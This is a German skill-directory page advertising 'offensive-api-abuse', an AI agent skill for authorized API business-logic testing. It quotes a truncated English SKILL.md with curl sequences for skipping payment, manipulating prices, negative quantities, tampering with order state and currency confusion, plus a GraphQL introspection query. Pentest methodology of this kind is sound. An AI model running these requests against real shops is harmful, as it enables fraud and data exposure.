offensive-api-abuse
Was er macht
Dieser Skill ist eine Methodik für autorisierte Tests der Geschäftslogik von API-gestützten Apps. Er behandelt Umgehungen von Arbeitsabläufen, GraphQL-Angriffe, Missbrauch der Seitenaufteilung und Race Conditions. Er ist für Sicherheitsfachleute gedacht, die die APIs einer Anwendung im festgelegten Umfang testen.
Wann du ihn nutzt
- ✓Wenn du die Geschäftsabläufe einer API auf Missbrauch in einer autorisierten Prüfung testest.
- ✓Wenn eine Anwendung GraphQL nutzt und du Batching, Abfragetiefe oder Introspektion testen musst.
- ✓Wenn du eine API auf Race Conditions oder Datenoffenlegung bei der Seitenaufteilung in einem freigegebenen Test prüfen willst.
Link zum Skill
https://github.com/SnailSploit/Claude-Red/blob/main/Skills/api/offensive-api-abuse/SKILL.mdKopiere ihn und füge ihn in deine KI ein (Claude, ChatGPT oder Cursor) mit der Bitte, den Anweisungen zu folgen.
So nutzt du ihn
Am einfachsten: Kopiere die Nachricht und füge sie in deine KI ein. Sie liest den Skill und folgt den Anweisungen.
Fertige Nachricht zum Einfügen
Für Claude Code, Codex oder Cursor: Führe den Befehl in deinem Projektordner aus, dann wird der Skill installiert.
Lade die SKILL.md herunter und lege sie in den Skills-Ordner deines Agenten.
Beispielanfrage an deine KI
“Wir haben die Genehmigung, unsere Shop-API zu testen. Suche nach Fehlern in der Geschäftslogik des Bestellvorgangs.”
5 neue Skills pro Woche. 1 Minute Lesezeit.
So funktioniert es
Der Skill erfasst die Oberfläche der API, modelliert die Schritte des Ablaufs und testet jeden Schritt auf Race Conditions und Logiklücken. Außerdem prüft er JWTs, GraphQL-Funktionen und Webhooks und verifiziert jeden Befund.
Technischer Inhalt (originale SKILL.md)
Originaltext des Autors, auf Englisch, direkt von GitHub.
Offensive API Abuse and Advanced Exploitation
You are conducting authorized security assessments targeting the business logic layer of API-driven applications. Traditional vulnerability scanners miss the attack patterns in this skill because they require understanding of application workflows, state transitions, and trust relationships between API endpoints. Your goal is to identify vulnerabilities that allow financial manipulation, data exfiltration through legitimate channels, privilege escalation via workflow abuse, and service disruption through logic-layer attacks.
Quick Workflow
- Map the complete API surface including undocumented endpoints using Arjun, ParamSpider, and manual discovery.
- Model the business workflows: identify multi-step transactions, state machines, and trust chains between endpoints.
- Test each workflow for race conditions using parallel request techniques.
- Extract and analyze JWTs for algorithm confusion, weak signing, and claim injection opportunities.
- If GraphQL is present, test batching for brute-force amplification, query depth for DoS, and introspection for schema leakage.
- Probe pagination for data enumeration and exfiltration opportunities.
- Test webhook configurations for SSRF and callback hijacking.
- Search for API key leakage in client code, error responses, and public repositories.
- Verify all discovered endpoints for authorization consistency.
- Document business impact for each finding with financial or operational consequence estimates.
Business Logic Bypass via API Chaining
Business logic vulnerabilities emerge when individual API endpoints are secure in isolation but the workflow connecting them has exploitable gaps. You identify these by mapping the intended transaction flow and then deviating from it.
# E-commerce checkout bypass
# Normal flow: add_to_cart -> apply_coupon -> calculate_total -> pay -> confirm
# Attack: skip payment and go directly to confirm
curl -s -X POST -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"product_id": "PROD-001", "quantity": 1}' \
"https://target.example.com/api/v1/cart/items" | jq .
curl -s -X POST -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"coupon_code": "SAVE20"}' \
"https://target.example.com/api/v1/cart/coupon" | jq .
# Skip payment -- attempt direct order confirmation
curl -s -X POST -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"cart_id": "CART-12345"}' \
"https://target.example.com/api/v1/orders/confirm" | jq .
# Price manipulation: add expensive item for free shipping, calculate, remove it
curl -s -X POST -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"product_id": "EXPENSIVE-001", "quantity": 1}' \
"https://target.example.com/api/v1/cart/items"
curl -s -X POST -H "Authorization: Bearer $TOKEN" \
"https://target.example.com/api/v1/cart/calculate"
curl -s -X DELETE -H "Authorization: Bearer $TOKEN" \
"https://target.example.com/api/v1/cart/items/EXPENSIVE-001"
curl -s -X POST -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"payment_method": "card_on_file"}' \
"https://target.example.com/api/v1/cart/pay"
# State manipulation, negative quantities, currency confusion
curl -s -X PATCH -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"status": "pending"}' \
"https://target.example.com/api/v1/orders/ORD-5001"
curl -s -X POST -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"product_id": "PROD-001", "quantity": -1}' \
"https://target.example.com/api/v1/cart/items"
curl -s -X POST -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"amount": 100, "currency": "IDR"}' \
"https://target.example.com/api/v1/payments"
GraphQL Batching and Abuse
GraphQL APIs introduce unique attack surfaces through query batching, introspection, and nested query execution that bypass rate limiting and authorization controls.
# Full introspection query -- extract types and mutations
curl -s -X POST -H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '{"query": "{ __schema { types { name kind fields { name type { name kind ofType { name } } } } } }"}' \
"https://target.example.com/graphql" | jq '.data.__schema.types[] | select(.kind ==
Häufige Fragen
Ist er für Tests ohne Erlaubnis gedacht?
Nein. Der Skill ist für autorisierte Prüfungen mit festgelegtem Umfang gedacht.
Was ist Missbrauch der Geschäftslogik?
Das ist der Missbrauch der normalen Schritte eines Ablaufs, etwa das Verketten von API-Aufrufen in einer unerwarteten Reihenfolge.
Deckt er GraphQL ab?
Ja. Er behandelt Batching, Abfragetiefe und Introspektion.
Details
Originalbeschreibung des Autors
Advanced API exploitation methodology focused on business logic abuse and sophisticated attack patterns that bypass traditional security controls. Covers business logic bypass through API call chaining and workflow manipulation. Addresses GraphQL-specific attacks including batching for credential brute-force, query depth exploitation, and introspection abuse. Includes pagination exploitation for data exfiltration, webhook hijacking for SSRF and data interception, and resource exhaustion through algorithmic complexity attacks. Covers race conditions in API transactions using parallel request te
repo: SnailSploit/Claude-Red
Beliebtheit
- GitHub-Sterne
- 10k
- Platz im Ranking
- #11945
- Lizenz
- MIT
- Aktualisiert
- 12.10.2026
Kommentare
- …
Weitere Skills aus diesem Repository
offensive-active-directory
10kHilft deinem Agenten, einen autorisierten Sicherheitstest für Active Directory zu planen, von der Kartierung des Netzwerks bis zu Angriffspfaden zu Domain Admin.
offensive-netexec
10kHilft deinem Agenten, das Werkzeug NetExec (nxc) für autorisierte Netzwerktests zu nutzen, mit Protokollen, Authentifizierung und Prüfung von Zugangsdaten.
offensive-api-security
10kHilft deinem Agenten, autorisierte Sicherheitstests für REST-, gRPC- und WebSocket-APIs auf Grundlage der OWASP API Top 10 durchzuführen.
offensive-jwt
10kHilft deinem Agenten, JWT-Anmeldetoken auf autorisierte Sicherheitsfehler zu prüfen, etwa schwache Signaturen und Verwechslung des Algorithmus.
Ähnliche Skills
reverse-engineer-anything
422kHilft deinem Agenten, fertige Apps und Pakete zu untersuchen, um Funktionen zu erklären, Versionen zu vergleichen oder einen Nachbau zu leiten, mit dem REA-Tool.
1password
394kHilft deinem Agenten, die 1Password-Kommandozeile einzurichten, sich anzumelden und Geheimnisse zu lesen oder einzufügen, ohne deren Werte im Chat auszugeben.
healthcheck
394kHilft deinem Agenten, den Computer oder Server, auf dem OpenClaw läuft, auf Sicherheitsrisiken wie SSH, Firewall, Updates und Backups zu prüfen und sichere Korrekturen vorzuschlagen.